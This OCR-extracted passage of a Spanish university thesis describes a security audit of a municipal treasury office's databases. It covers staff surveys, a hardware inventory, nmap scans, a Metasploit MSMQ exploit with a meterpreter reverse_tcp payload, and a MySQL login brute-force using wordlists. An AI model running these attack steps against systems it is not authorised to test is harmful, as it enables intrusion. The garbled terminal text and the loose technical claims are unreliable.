actual de la infraestructura fisica y tecnolégica con que dispone la dependencia en

la actualidad y valorar los posibles riesgos a los que esté expuesta la informacion.

Observacion directa: Se utilizara para recopilar informacion complementaria para el
diagndstico de las bases de datos de la Secretaria de Hacienda Municipal de Los
Patios y sobre la identificacion de las metodologias de Pen Testy de Ethical Hacking

mas convenientes.

7.5 ANALISIS DE INFORMACION

La informacién sera procesada por medios de procesador de texto y hojas de calculo
para facilitar su interpretaciéon. En el caso de las encuestas se utilizaran graficas de
torta y tablas porcentuales para discriminar los resultados. Los resultados de la lista
de chequeo se podran resumir en graficas de barras para establecer el nivel de

cumplimiento de los requisitos técnicos en seguridad de bases de datos.
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8. RESULTADOS

8.1 IDENTIFICACION DEL ESTADO ACTUAL DE METODOLOGIAS DE PEN
TEST Y DE ETHICAL HACKING PARA BASES DE DATOS RELACIONALES Y
NO RELACIONALES

Para la obtencién de los resultados, se aplicé la encuesta como fuente primaria de
informacion, la cual permite a través de cuestionarios resolver las inquietudes que
se tienen del objeto de estudio, para de esta forma poder implementar alternativas

de solucion al mismo.

Para determinar el estado actual de las bases de datos en la Secretaria de Hacienda
Municipal, se empled herramientas de seguridad informatica como son los
diferentes tipos de software sobre la plataforma LINUX, permitiendo la identificacion
de vulnerabilidades en los sistemas informaticos implementados para el buen

desarrollo de la informacioén en la Institucion.

En su desarrollo, se tenia como muestra y poblacion el personal de la Secretaria de
Hacienda municipal de los Patios, los cuales participaron activamente en la
respuesta de las preguntas de seleccion multiple, relacionadas a los conocimientos,
experiencias y habilidades que tienen en la Entidad. De lo anterior, a continuacion,
se describe con graficas el porcentaje derivado de cada pregunta, junto con el

analisis obtenido de las respuestas:
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Grafica 1. ¢En la Secretaria de Hacienda Municipal y en la Alcaldia de Los
Patios, se utiliza la metodologia Pen Test y de Ethical Hacking para bases de

datos relacionales y no relacionales?

En la Secretaria de Hacienda

Municipal en la Alcaldia del...
11%

mSi

m No

Anadlisis pregunta 1: Claramente se identifica que en la institucion en donde se

desarrolla la investigacion, no se realiza ningun tipo de metodologia.

Grafica 2. ;Se han presentado obstaculos o dificultades en el desarrollo de

procedimientos conforme a la seguridad en la base de datos?

Se han presentado obstaculos o
dificultades en el desarrollo de
procedimientos conforme a la
seguridad en la base de datos

m Si

= No

Analisis pregunta 2: Infortunadamente en la organizacién, se han presentado
obstaculos, situacion que genera preocupacion conforme a la informacion que se

maneja caracterizada, por ser importante y trascendental.
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Grafica 3. ;Desde su punto de vista profesional cree que es pertinente
implementar una serie de metodologias adecuadas para la seguridad en la
base de datos?

Desde su punto de vista prfesional
cree que es pertinete implementar
una senrigdapatadalogias para...

mS|

mNO

Analisis pregunta 3: Evidentemente se aprecia que en un alto porcentaje se
determina la pertinencia y necesidad de implementar metodologias en relacion a la

proteccion y seguridad de la base de datos.

Grafica 4. ;Qué tipo de falencias se han presentado en la organizacién sobre
la seguridad de los datos?

¢Queé tipo de falencias se han
presentado en la organizacion
sobre la seguridad de los datos?

11%

B Amenazas

B Ataques Informdticos
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Analisis pregunta 4: Las opciones que se presentan en la encuesta sobre las
falencias presentadas corresponden a las amenazas, ataques informaticos y a la
vulneracion a los sistemas de informacién obteniendo como respuesta que el 67%

corresponde a las amenazas.

Grafica 5. ¢Han existido acciones pertinentes por parte de la organizacién

para combatir este tipo de situaciones?

Han existido acciones pertinentes
por parte de la organizacion para
combatir este tipo de situaciones

11%

mSi

H No

Analisis pregunta 5: Finalizando el analisis de la encuesta se determina que hasta
la fecha no se han presentado acciones y estrategias para disminuir las amenazas

que se identifican.

8.2 DETERMINACION DE LAS METODOLOGIAS DE PEN TEST Y DE ETHICAL
HACKING A SER UTILIZADAS

Informacién Activa: Esta fase se caracteriza por tener un contacto directo con el
objetivo permitiendo realizar pruebas en los servidores y simulando el estado en
que se encuentra cada elemento informatico, basado en las herramientas que

caracteriza el sistema operativo utilizado como:
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METASPLOIT 2: Es una Maquina disefiada a partir de GNU/LINUX, lo cual cuenta
con una gran cantidad de vulnerabilidades y su funcionalidad esta enfocada para

realizar las pruebas de penetracion.

Pruebas de penetracion. Nmap (Network Mapper).30 Es una herramienta gratuita
de codigo abierto para la exploracion de la red o la auditoria de seguridad. Fue
disefiado para analizar rapidamente grandes redes, aunque funciona muy bien
contra equipos individuales. Nmap utiliza paquetes IP para determinar qué hosts
estan disponibles en la red, qué servicios (nombre de la aplicacién y la version)
estos equipos ofrecen, qué sistemas operativos (y versiones del sistema operativo)
se estan ejecutando, quée tipo de filtros de paquetes o cortafuegos estan en uso, y
docenas de otras caracteristicas. Nmap se ejecuta en la mayoria de los ordenadores
y la consola y versiones graficas estan disponibles. Nmap es libre y de cédigo

abierto.

Figura 2. Entorno inicio Metasploit

Terminal e @ G]

Fiie Edit View Search Terminal Help

Fuente: Autoria Propia Frey Ochoa
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KALI LINUX: Es una distribucion de Debian. Para facilitar la auditoria de sistemas
de seguridad informatica, cuanta con mas de trecientas herramientas sofisticadas

para la seguridad informatica.

Figura 3. Entorno inicio Kali Linux

it i [Cceriendic] - Crmche VM VirtualBion i | e
| Miguina Ve Depostros  Aywda

Bos@iald @Ecmomon

Fuente: Autoria Propia Frey Ochoa

En esta fase se intenta identificar las maquinas que se encuentran funcionando en
este momento en una red, los sistemas operativos con que esté funcionando cada

una de estas y versiones que estén utilizando.
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Para este proceso se utiliza el sistema operativo Kali Linux.

Herramientas utilizadas:

1. NMAP

e Nmap —sV (Direccién Ip).

Figura 4. Entorno inicio Nmap con Kali Linux

rootiE kali: ~ e o 9

Search Terminal Heip

» specific 0S5 details

ect results at https://nmap.orgs

: 1 1P ad s | 37 .28 seconds
=& nmap -35\

map.org

251

are filtered
poratel

s at https: /S nmap

:—#& nmap

Startimg MNmap 7.60 | ttps://snmap.org )} at 2817-11-14 17:18 -&

Fuente: Autoria Propia Frey Ochoa

Con la instruccion sV, se genera un informe mas detallado de los puertos que se

encuentran activos en la direccion Ip estudiada.

44



8.3 PLANEACION Y REALIZACION DEL DIAGNOSTICO DE LAS BASES DE
DATOS DE LA SECRETARIA DE HACIENDA MUNICIPAL DE LOS PATIOS

Areas de la Secretaria de Hacienda de la Alcaldia Municipal de Los Patios, donde

se realizaron las pruebas de Ethical hacking.

Figura 5. Oficina de atencion a usuarios de la Secretaria de Hacienda

Fuente: Autoria Propia Frey Ochoa
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Figura 6. Entorno de Trabajo de los funcionarios de la Secretaria de Hacienda

Fuente: Autoria Propia Frey Ochoa

Figura 7. Rack 1

Fuente: Autoria Propia Frey Ochoa
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Como se nuestra en la figura el Rack Numero uno, esta constituido por:

e Tres Switches Marca DLINK.

e Dos Router.

e FIREWALL Marca Sonny Wall Z 205.

e Central Telefonica con proveedor TELECOM.

e Enrutador de Fibra Optica de 10 megabytes.

Figura 8. Cuarto de Seguridad de Hardware y Servidores

Fuente: Autoria Propia Frey Ochoa
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Como se observa en la figura, en la secretaria de hacienda Municipal existe un
cuarto donde se encuentra ubicados los servidores y el rack donde estan los

accesorios necesarios para el funcionamiento del sistema.

Figura 9. Ubicacion de los Switches y Reuters

Fuente: Autoria Propia Frey Ochoa
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Figura 10. Servidor Marca Hp Modelo Proliant Ml 110

Fuente: Autoria Propia Frey Ochoa

8.4 APLICACION DE LAS TECNICAS NECESARIAS PARA LAS
METODOLOGIAS PEN TEST Y ETHICAL HACKING, PARA BRINDAR UN BUEN
DESARROLLO INFORMATICO EN LA SECRETARIA DE HACIENDA
MUNICIPAL

Proceso para realizar las pruebas. Una vez realizada la a los funcionarios de la
Secretaria de Hacienda del Municipio de Los Patios, se procedi6 a realizar pruebas
de penetracion al servidor con la Ip 192.168.1.10, lo cual se encarga de recopilar la
informacion recaudada en Impuestos y Cobro Coactivo, lo cual esta programado

con un motor de bases Firebird y un lenguaje de programacion Delphi

Seguidamente se abre el entorno de la consola de Kali Linux, se procede a

configurar la red en el sistema operativo Kali Linux, trabajando con la configuracién
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en de red en puente y asignando una red estatica para luego hacer un ping entre la

magquina victima y la maquina atacante.

Figura 11. Reporte de los puertos encontrados

rootEkali; ~ e 8 O

File Edit Wiew Search Terminal Help

S smmap.arg P at Z@L7-11-16 -a5
[ rmine ar D . R se DNS is disabled.
Fy walid servers with --dn Ervers

= [1 host up) scanned in 9.88 seconds

Fuente: Autoria Propia Frey Ochoa

Como se muestra en la figura Nmap, pemite identificar los puertos, su estado y el
servicio que se esta prestando en este servidor:al permite la transferencia de

hipertexto entre el servidor web y un navegador.

e El puerto 80 se encuentra activo y trabaja con el servicio http, lo cual al permite

la transferencia de hipertexto entre el servidor web y un navegador.

e Se identifica el puerto 135 activo y con el servicio msrpc, que son las

herramientas administrativas del DNS.
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e El puerto 445/tcp, activo lo cual permite compartir registros, archivos dentro del

sistema de informacion.

Los puertos 49152 al 49159 son puertos desconocidos que se encuentran abiertos.
Con lo implementado y explorado hasta el momento, se ha analizado que el sistema
es vulnerable debido a que el puertos 445 estando activo permite compartir archivos
y es muy vulnerable a ataques en el sistema de informaciéon de confidencialidad y

privacidad para la Administracién Municipal.

Figura 12. Inicio del proceso de la explotaciéon de las vulnerabilidades

Fuente: A
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Figura 13. Instrucciones para mostrar con detalle la busqueda

(] Terminal -

rectgkali; - e 0 9

File Edit “iew Search Terminal Help

Fl:AF:39:18 (Hewlett Packard Enterprised

Mmap done: 1 IP address (1 host up) scanned in 4.8% seconds
= nmap -T3 -Pa--T -5V 192.168.1.19

Starting Mmap F.68 [ hitps ap.org b = 7-11-16 17:63
mass dns: warn : Una - (- NS Sservers, F

8.1.18 are Tiltered
ewlett Packard Enterprisel

» at hitps:

5 [1 host up) scanned in 22.71 seconds

Fuente: Autoria Propia Frey Ochoa

Con la Instruccion —T3 —-Pn —f -sV, se realiz6 un escaneo completo como lo
muestra que se detectaron que todos los 1000 puertos de la direccion Ip
192.168.1.10 se filtran .

La direccion Mac: Heuler packer enterprice, los demas resultados no se

evidenciaron.

La siguiente fase es hacer un exploit con la herramienta Metasplot de Kali Linux,
con esta herramienta permite al auditor encontrar las vulnerabilidades que se

presenten en un proceso de informacion.
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Figura 14. Entorno inicial de Metasploit

| Terminal =IO -]

Fle FEdt View Search Terminal Help

=| as 11 A6.15-0 ]
--=| 1699 explolts - 963 auxlllary - 299 post |

-- --=[ 5083 payloads - 48 encoders - 10 nops ]
=| Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf » search msrpc
(1] Module database cache not bullt yet, using Slow Search

Matching Madules

Mame

exploit/windows/dcerpc/ms@3 @17 memg 2065-04-12 good M5305-817 Microso
ge Queueing Service Path overflow

msf = I

Arame e

Fuente: Autoria Propia Frey Ochoa

Una vez inicia el sistema de la herramienta Metasploit, donde se muestra una serie

de datos donde el auditor considera el exploit a la cual se hara los respectivos
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procedimientos de codigo para cumplir con las subrutinas que el programa

considere para lograr el objetivo planteado.

Figura 15. Identificacion del exploit a Explorar

| Terminal o & O
Fle FEdit View Search Termimal Help

Disclosure Date Rank Description

c/ms@5 01T mamoeal s Rk e goon  H585-817 Microso

ce Path Overflow

= use exploltfwindows /dcerpe/msis @17 msmg
oit( I = show payloads

Disclosure Date
Descriptien

normal

normal

ell normal

Fammand Fhall Rdma Trn Toldnma

Fuente: Autoria Propia Frey Ochoa

Como se observa en la figura se ha enviado la instruccion para iniciar a explorar las
vulnerabilidades use/exploit/Windows/dcerpc/ms05 17 msmq, determinando el

exploit en el que se inici6 la observacion por medio del comando Show payload.

54



Figura 16. Identificacion del Exploit

Terminal L — N 1 ] c}]

ot

Support

i rma il
mormall
normal
normal

mnormal
Stager {No MX or Wini¥)

Figura 17. Uso del exploit dcerpc

Termimal =ﬁ C) ﬂﬂ

Edit “iew Search Terminal Help

sSdcerps,/ msas @17 msm
service Path owerfl

Exploit target:

Ld Name

Windows 2 ! 4 Windows X = *1 [English]}

msf exploiti( 1 [ ]

Fuente: Autoria Propia rey Ochoa

El comando show exploit, permite verificar que parametros se deben configurar en
el exploit, también se observa el funcionamiento del sistema operativo Windows Xp

version Service Pack uno.
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Figura 18. Uso del comando db Status, para ingresar al motor de bases de
datos postgresql

Terminal s O 9

File Edit Wiew Search erminal  Help

cted to msT

Fuente: Autoria Propia Frey Ochoa

Figura 19. Uso del comando Show Options

Termimal a2 ®5 D

File Edit Yiew Search Terminal Helgm
pC/mMSEBS LT i 35 -94-12

Module optTions

Mame curre
HHAME
MK

Exploilt target:

Id Name

(5] wWindows 2 ~ S wWindows X ® [(English)

” :I ‘_. b i
Fuente: Autoria Propia Frey Ochoa
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Figura 20. Uso del comando Payload

Terminal

automatic target

{Engl

The 1i:

The

target:

Mame

Auvtomatic o sSPa-5P4, 2883 S5Pa.

Loity

Fuente: Autoria Propia Frey Ochoa

Luego se ejeuta el exploit de metasploit por medio del cual ofrece informcion en el

puerto 4444 con windows 2000.

Figura 21. Ejecucion del Exploit

Helip

Reguire

Explolt target:

MName

Auvtomatic

Fuente: Autoria Propia Frey Ochoa
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Figura 22. Ejecucion del Exploit

Terminal 2 5 9

Fuente: Autoria Prpia rey ch

Figura 23. Ejecucion del Exploit

Terminal e 0 9

File Edit View Search Terminal Help

= ¥
payload

RPORT

Exploit

1d Mame

] wWindows 7 g [English)

E oit| y =

Fuente: Autoria pi Fey Ochoa
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Con la instruccién set payload windows/meterpreter/reverce_tcp, el exploit hace uso
del del payload reverse_tcpse, generando una coneion inversa entre el servidor

victima identificado con la direccién Ip 192.168.1.11.

Prueba al servidor Web con la IP 192.168.199. Se inicia el proceso con el nmap
para proceder a escanear los puertos que se encuentran en el servidor que sera la
victima a quien se hara la prueba de posibles vulnerabilidades con las herramientas

del sistema opertivo Kali Linux.

Figura 24. Inicio de Nmap

root@kali: ~ © ® o

File Edit View Search Terminal Help

ggimng)
output fTiles

output to HTML
table XML

‘: version detection, script scanning, and traceroute
tom Mmap data file location
IP packets

- Print t s help summary page.
EXAMPLES :
nmap - scanme.nmap.org
nmap - 0.8/16 10.0.0.0/8
nmap -v L 2 =k 238
SEE THE MAN PAGE (http p.org/booksman.html) FOR MORE OPTIONS AND EXAMPLES
:~# nmap 192. ] aaf]

Fuente: Autoria Propia Frey Ochoa

Una vez se inicia la configuaracion de la herramienta con Nmap se procede a
ingresar la IP del equipo a quien se la va a ejecutar la prueba de vulnerabilidades

con Kali Linux.
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Figura 25. Inicio de Nmap

root@kali: ~ e e O
File Edit Wiew Search Terminal Help

MAC Addr : 88: 88:45:3E (Marvell Semiconductor)

Nmap done: address (1 host up) scanned in 42.75 seconds

Fuente: Autoria Propia Frey Ochoa

En la figura se identifica el tipo de puerto, su estado y servicio al que se encuentra
conectado, se observa que los puertos 80/tcp se encuentra activos, lo cual no e
una amenaza para la informacion, debido a que el servidor esta protegido por un

firewall que garantiza que este puerto puede estar activo.
Para el objetivo propuesto se utilizo herramientas de framewoark al servicio de
mysql encontrado en el puerto 3306 y qu se encuentra activo, razon por la cual se

sigue el proceso atravez de las herramientas de kali linux.

La siguiente fase es abrir el entrono grafico de Kali Linux y selecionar la herramienta

de Metasploit para detectar las vulnerabilidades en el sistema.
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Figura 26. Inicio de la Herramienta Metasploit de Kali Linux

£ K

Terminal e 0 0

To boldly go where no
shell has gone before

- 408 encoders -

15-dey |
5 - 968 auxiliary - 299 pos ]
1

Pro trial: http://r-7.co/trymsp ]

v
|

Fuente: Autoria Propia Frey Ochoa

Una vez situados en el entorno de metasploit se procede a digitar el comando use

para especificar el modulo especifico.

Lista de comandos de Metasploit. help: Con este comando se puede desplegar
la lista de comandos disponibles en la consola de Metasploit, adicionalmente se
puede especificar el comando seguido de -h, o poner help seguido del comando,

para obtener informacion detallada acerca del comando especifico
search: seach, se identifican los mddulos que contienen dicha caracteristica. Un

pequeno truco para comprobar si esta actualizado seria buscar una caracteristica

reciente para ver si se dispone de ella o no.
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info: Muestra detalles del modulo (opciones, objetivos y descripcion). Si se esta
usando ese modulo, basta con poner el comando, de lo contrario se debe especificar

la ruta del moédulo.

show: Muestra en pantalla las opciones del moédulo. Puede ir seguido de actions,
advanced, all, auxiliary, en funcién de las opciones especificas que se pretenden
ver.

use: Selecciona el médulo. El comando back sirve para quitar la seleccion.

set. Configurar parametros de un médulo en concreto. Unset seria para borrar la
configuracion.

setg: Configurar parametros de los modulos a nivel global, para todos los
modulos. Unsetg para borrar esta configuracion.

connect:. Sirve para desarrollar la conexion hacia otras maquinas especificando la
ip + el puerto, de esta manera se puede disponer de modulos y configuraciones en
otra maquina y acceder desde maquinas remotas. Esta utilidad se vale del
famoso netcat, asi que se dispone de opciones parecidas a las de netcat.

irb: Sirve para ejecutar un intérprete de Ruby, de esta forma se puede utilizar script
de Ruby sobre msf para automatizar o facilitar el trabajo si se posee manejo en
Ruby.

load: Cargar un plugin. Unload para la operacion inversa.

loadpath: Sirve para cargar un directorio independiente, para asi tenerlo disponible
también desde la consola.

check: Comprobar si es vulnerable o no antes de lanzar el script.

exploit: Lanzar el médulo. Se dispone de las siguientes opciones:

e j. Lolanza en segundo plano (backround).

e z: Para que tras una explotacidon exitosa no se interactue con la sesion.

e e: Se lanza el payload con una codificacion realizada previamente con un
payload.
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Figura 27. Inicio de la Herramienta Metasploit de Kali Linux

Terminal @ 0 0
File Edit View Search Terminal Help

xiliary/scanner/mysql/mysql_version
} = info

Provided by:
kris katterjohn <katterjohn@gmail.com=

Basic options:
Name Current Setting Reguired Description
RHOSTS
=
RPORT 3306 yes e ta t port (TCP)
THREADS 1 yes M, r of concurrent threads

Description:
Enumerates the version of MySQL servers.

| auxiliary( I |
Fuente: Autoria Prpia Frey Ochoa

Con el comando auxiliary/scanner/mysql/mysql_version, permite determinar la

version de mysql que se esta ejecutando.

El comando info: brinda informaciéon esquematica como se muestra en la tabla de la
figura, la tarjeta del puerto (tcp) en el puerto de la maquina victima en la

configuracion actual 3306 necesario.
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Figura 28. Inicio de la Herramienta Metasploit de Kali Linux

Terminal (- O

File Edit View Search Terminal Help
msf auxiliary( ) = info

Name: MySQL Server Version Enumeration
Module: auxiliary/scanner/mysql/mysql version
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
kris katterjohn <katterjohn@gmail.com=

Basic options:
Name Current Setting Required Description

RHOSTS yes The target address range or CIDR identifie

|
RPORT 3366 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads

Description:
Enumerates the version of MySQL servers.

msf auxiliary( ) = set RHOSTS 192.168.1.90
RHO5TS => 192.168.1.96
msf auxiliary( Y |

Fuente: Autoria Propia Frey Ochoa

En la siguiente instruccidn pide ingresar la Ip de la maquina victima, en este caso la
direccion Ip del Servidor web 192.168.1.90.
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Figura 29. Herramienta Metasploit de Kali Linux

Terminal e ® O
File Edit View 5earch Terminal Help

RPORT 3306 YEs The target port (TCP)
THREADS 1 e The number of concurrent threads

Description:
Enumerates the version of MySQL servers.

msf auxiliary( ) = set RHOSTS 192.168.1.99
RHOSTS == 192.168.1.98
msf auxiliary( ) = RUN
Unknown command: RUM.
msf auxiliary( } = run

[*] 192.168.1.906:3386 - 192.168.1.90:3386 1s running MySQL, but responds wit
h an error: Host '192.168.1.99' is not allowed to connmect to this MariaDE se
rvei

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary( ) » set RHOSTS 192.168.1.99

RHOSTS == 192.168.1.99

msf auxiliary( } = run

¥*] Scanned 1 of 1 hosts (180% complete)
#] Auxiliary module execution completed
sf auxiliary( I |

|
|
m

Fuente: Autoria Propia Frey Ochoa

Una vez ingresado el comando set para establecer y mostrar las variables de

entorno junto a la Ip de la victima se ejecuta con el comendo Run.

Como se observa en la direccion Ip 192.168.1.90 no se puede conectar a este
servidor con la direccidén Ip 192.168.199 que es el servidor web, indica que la
ejecucion de modulas auxiliares ha sido ejecutada en un 100 por ciento y se ha

escaneado uno de un host anfitrion.
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Figura 30. Herramienta Metasploit de Kali Linux

Terminal e 0

File Edit View Search Terminal I-Eflp

RHOSTS == 192.168.1.96

mst auxiliary( ) = RUN
Unknown command: RUN.

msf auxiliary( ) = run

[*] 192.168.1.90:3306 - 192.168.1.90:3366 15 running MySOL, but responds wit
h an error: \x84Host '192.168.1.99' is not allowed to connect to this MariaDB se
rver

[*] Scanned 1 of 1 hosts (168% complete)

[*] Auxiliary module execution completed

msf auxiliaryl ) = set RHOSTS 192.168.1.99

RHOSTS =» 192,168.1.99

sf auxiliary( ) > run

Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed
sf auxiliary( ) = use auxiliary/scanner/mysql/mysql Login
F auxiliary( ) > set RHOSTS 192.168.1.99
RHOSTS =» 192.168.1.99
msf auxiliary( ) = set USER FILE /root/Desktop/username.lst
USER FILE == /root/Desktop/username.lst
msf auxiliary( ) = set PASS FILE /root/desktop/passwords.1st
PASS FILE => /root/desktop/passwords,lst
msf auxiliary( ]

Fuente: Autoria Propia Frey Ochoa

Con el comando use auxiliary/scanner/mysql/mysql_login se indica al Host victima
el inicio de sesion, luego se pide que establezca Yy liste el nombre de usuario, de

igual manera se repite el procedimiento para la clave o contrasefia de usuario.
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Figura 31. Herramienta Metasploit de Kali Linux Solicitud de Contrasena de
usuario

Terminal e G O

File Edit View Search Terminal Help
msf auxiliary( ) > run

[*] 192.168.1.96:3386 - 192.168.1.90:3306 is running MysSQL, but responds wit
h an error: ‘x84Host '192.168.1.99' is not allowed to connect to this MariaDB se

p d
set RHOSTS 192.168.1.99

} > run

complete)

uxiliary(
xiliary failed:

Fuente: Autoria Propia Frey Ochoa

8.5 ESULTADOS DEL PROYECTO ESPERADO

Una vez hecho todo el procedimiento se ejecuta la aplicacion demuestra que las

opciones no pueden validar la informacién solicitada.

Vulnerabilidades encontradas:

e Elpuerto 80/tcp se encuentra habilitado, facilita la entrega de informacion, puede
ser vulnerable a ataques de Fuerza bruta, Denegacion de Servicio (DoS), puede
existir la posibilidad de que se produzca un sniffer.

e El puerto 3389/TCP, existe la posibilidad de obtener una informacién sobre
vulnerabilidades por tener puntos de acceso de facil ingreso a la informacion.
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Por el puerto 139/tcp, puede existir la posibilidad de presentarse una denegacion

de servicio (DoS).

Las Bases de datos son locales, no existe un motor de bases de datos que
suministre y valide la informacion.

El Sistema no cuenta con un esquema de seguridad logica, que mitigue el riesgo
de infiltracién de usuarios no registrados y autorizados.

El hardware de los equipos de Computo se encuentra en un estado obsoleto de
la tecnologia actualizada.

La red interna de la secretaria de Hacienda tiene un sistema de cableado
expuesto a cualquier tipo de dafo fisico.

El sistema no se encuentra protegido por un por un antivirus propio o pago, solo
se activa un antivirus gratuito, lo cual no garantiza la seguridad de la informacion.
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9. CONCLUSIONES

En la secretaria de Hacienda Municipal de Los Patios, existen falencias con la
integridad y la confidencialidad de la informacion que a diario se procesa en eta
entidad publica, este es el resultado de las encuestas realizadas a los funcionarios
que procesan la informacion y la almacenan en las bases de datos, es por esto la
importancia y la necesidad de haber presentado las metodologias de Pen test y de

Ethical hacking en la organizacion.

Se determinaron metodologias de Pen Test y Ethical Hacking, teniendo en cuenta
cada una de las caracteristicas y funcionalidad de las mismas, ademas la
herramienta inmersa en cada sistema operativo seleccionado para para las pruebas
de penetracion como lo es Nmap y Kali Linux, que contiene un paquete interno de
herramientas muy seguras y robustas para el estudio analizado a las bases de datos

en la Secretaria de Hacienda del Municipio de Los Patios.

Se identificaron las bases de datos existentes que se maneja en la secretaria de
Hacienda Municipal de Los Patios, encontrando por medio de las pruebas Ethical
hacking, el mal estado y funcionamiento en que se encontraban los servidores y el
rack; con dicho andlisis realizado a los servidores web, se logré identificar cada uno
de los puertos por medio de un escaneo con herramientas sofisticadas como las

mencionadas en el capitulo anterior para la seguridad Informatica.

Para la aplicacion y determinacion de técnicas necesarias para la implementacién
de las metodologias Pen Test y Ethical Hacking, se utilizé un laboratorio virtual
trabajando con los componentes técnicos en cada una de las herramientas
utilizadas para las pruebas de Pen test, encontrando vulnerabilidades existentes en

los sistemas de informacion de la Secretaria de Hacienda Municipal.
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10. RECOMENDACIONES

Después del desarrollo de la investigacion, se identifica la necesidad de indicar una
serie de recomendaciones basadas principalmente los aspectos que se han

identificado en el procedimiento que se llevo a cabo, entre ellas estan:

e Implementar un plan de contingencia donde se haga con frecuencia el
mantenimiento preventivo a los equipos y hardware que comprende el sistema de

informacion en la Secretaria de Hacienda Municipal.

¢ Realizar periodicamente pruebas de penetracidn por medio de metodologias Pen
Test y Ethical Hacking, para evaluar las vulnerabilidades que se estan presentando
y, asi poder tomar las medidas pertinentes para salvaguardar la informacién

suministrada y guardada en los servidores de la Secretaria de Hacienda Municipal.

e Se recomienda al Administrador del sistema, implementar una maquina virtual
que le permita hacer una simulacién sobre el estado y funcionamiento del sistema
operativo instalado, como estan funcionando los puertos de acceso a la informacién,
trabajar con direcciones Ip estaticas y establecer un sistema de control de usuarios
al sistema de informacion, donde se maneje los datos de la informacion recaudada
por cada una de las transacciones y operaciones informaticas dentro de la

Secretaria de Hacienda Municipal.
e Establecer un sistema de control de usuarios al sistema de informacion, donde

se maneje los datos de la informacion recaudada por cada una de las transacciones

y operaciones informaticas dentro de la Secretaria de Hacienda Municipal.
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e Contratar un proveedor de software que permita implementar una base de datos,
donde se refleje la informacion publica y que permita realizar consultas a cada

usuario que lo solicite.

¢ Implementar un Firewall que permita mitigar los ataques a la informacion por
medio de dispositivos y atreves de la plataforma Web. Asi mismo se plantea mejorar
el sistema de cableado existente debido a que presentan falencias en las redes

instaladas, para garantizar el trafico de la informacion.

¢ Implementar una Base de Datos con un motor de capacidad de almacenamiento
y consulta en un tiempo relativamente corto. Ilgualmente se recomienda hacer un
mantenimiento rutinario al software que se encuentra en cada uno de los equipos

que estan en la red interna.
Por ultimo, se instalar en los equipos de cdmputo un antivirus con un proveedor,

que garantice la proteccion de la informacion que ingresa a través del hardware y

software a los servidores de la red.
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Anexo A. Lista de chequeo

- T o
=) =

Universidad Nacional
— =t Abierta v a Distancia
-,

ESTUDIO DE SEGURIDAD EN LAS BASES DE DATOS, MEDIANTE
METODOLOGIAS DE PEN TEST, ETHICAL HACKING EN LA SECRETARIA DE
HACIENDA MUNICIPAL DE LOS PATIOS

LISTA DE CHEQUEO

No. Variables Cumple Observaciones
Si No
1. Existe algun sistema de seguridad en la X
base de datos.
2. Se implementan metodologias para X
fortalecer la seguridad de la base de
datos.
3 Se realizan diagndsticos constantes X
sobre la proteccion hacia la base de
datos.
4, Los funcionarios aplican técnicas X
metodoldgicas para el eficiente desarrollo
informatico
5. Existen planeaciones periédicas frente a X
la informacion de la Secretaria de
Hacienda.
6. Frente a las falencias existentes se ha X SE SOLICITA AL
presentado actuaciones pertinentes. PROVEEDOR PARA
REALIZAR LOS
AJUSTES NECESARIOS
7. Existe un plan de Contingencia para el X
caso de caida del sistema momenténeo.
8 Existe un Firewall para cada X SOLO PROTEGE EL
implementacion en el sistema WEB-SERVER
9 Se hace capacitaciones periddicas al X
persona encargado en el area especifica
10 ¢, Se cuenta con un Inventario de Activos X

en el centro de computo de la Secretaria
de Hacienda Municipal?

11 ¢, Con que frecuencia se revisa el X
inventario?
12 ;. Se lleva una Bitacora de los Equipos? X
13 ¢, Cuenta con servicio de mantenimiento a X
los Equipos?
14 ¢se lleva control de Garantia de los X
Equipos de Computo
15 ¢, Se cuenta con un sistema de seguridad X UNICAMENTE PARA EL
para el ingreso al area de informatica ACCESO AL DATA
CENTER
16 El motor de Bases de Datos existente X

esta protocolizado y estandarizado
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No. Variables Observaciones
17 ¢ Existe un usuario responsable de los UNICAMNETE
accesos a documentos privados dentro ADMINIDTRADOR DEL
de la secretaria? SISTEMA
18 ¢ El personal que manipula la informacién
es especializado en el area de
informatica?
19 ¢,Con que frecuencia se hace copias de
Seguridad?
20 ¢ El sistema de tierra garantiza la
seguridad de los equipos de computo en
el area?
21 ¢, Se han presentado inconsistencias en el

manejo de la informacion?
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Anexo B. Encuesta

Universidad Nacional
- - Abierta yv a Distancia
- a0 -

ESTUDIO DE SEGURIDAD EN LAS BASES DE DATOS, MEDIANTE
METODOLOGIAS DE PEN TEST, ETHICAL HACKING EN LA SECRETARIA DE
HACIENDA MUNICIPAL DE LOS PATIOS

Encuesta

ENTIDAD: Secretaria de Hacienda
NOMBRE FUNCIONARIO: (A) ({560 Fleindnder TBlaaco
CARGO: Técnco Opevative TI
1. En la Secretaria de Hacienda Municipal en la Alcaldia del Municipio de Los
Patios se utiliza la metodologia Pen Test y Ethical Hacking

a. Si O
b.No OO

2. Se han presentado obstaculos o dificultades en el desarrollo de procedimientos
conforme a la seguridad en la base de datos.

asi O
b.No &

3. Desde su punto de vista profesional cree que es pertinente implementar una
serie de metodologias adecuadas para |a seguridad en la base de datos.

a. Si ®
b.No

4. ; Qué tipo de falencias se han presentado en la institucion sobre la seguridad de
los datos?

a. Amenazas ()
b. Ataques informaticos )
c. Vulneraciones a los sistemas de informacién @

5. Han existido acciones pertinentes por parte de la organizacién para combatir
este tipo de situaciones.

asSi QO .

b.No (X 2}%“}
- &8 .
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ESTUDIO DE SEGURIDAD EN LAS BASES DE DATOS, MEDIANTE
METODOLOGIAS DE PEN TEST, ETHICAL HACKING EN LA SECRETARIA DE
HACIENDA MUNICIPAL DE LOS PATIOS

Encuesta

ENTIDAD: Secretaria de Hacienda ? z
NOMBRE FUNCIONARIO: £/4rz@bc24_ Xoas vl
CARGO: ASesoro—

1. En la Secretaria de Hacienda Municipal en la Alcaldia del Municipio de Los
Patios se utiliza la metodologia Pen Test y Ethical Hacking

asS (_2J

b. No '-'7-[:

2. Se han presentado obstaculos o dificultades en el desarrollo de procedimientos
conforme a la seguridad en la base de datos.

asS

b.No X:

3. Desde su punto de vista profesional cree que es pertinente implementar una
serie de metodologias adecuadas para la seguridad en |la base de datos.

a. Si D
b. No

4. ; Qué tipo de falencias se han presentado en la institucién sobre la seguridad de
los datos?

a. Amenazas :X 3
b. Ataques informaticos d)._f
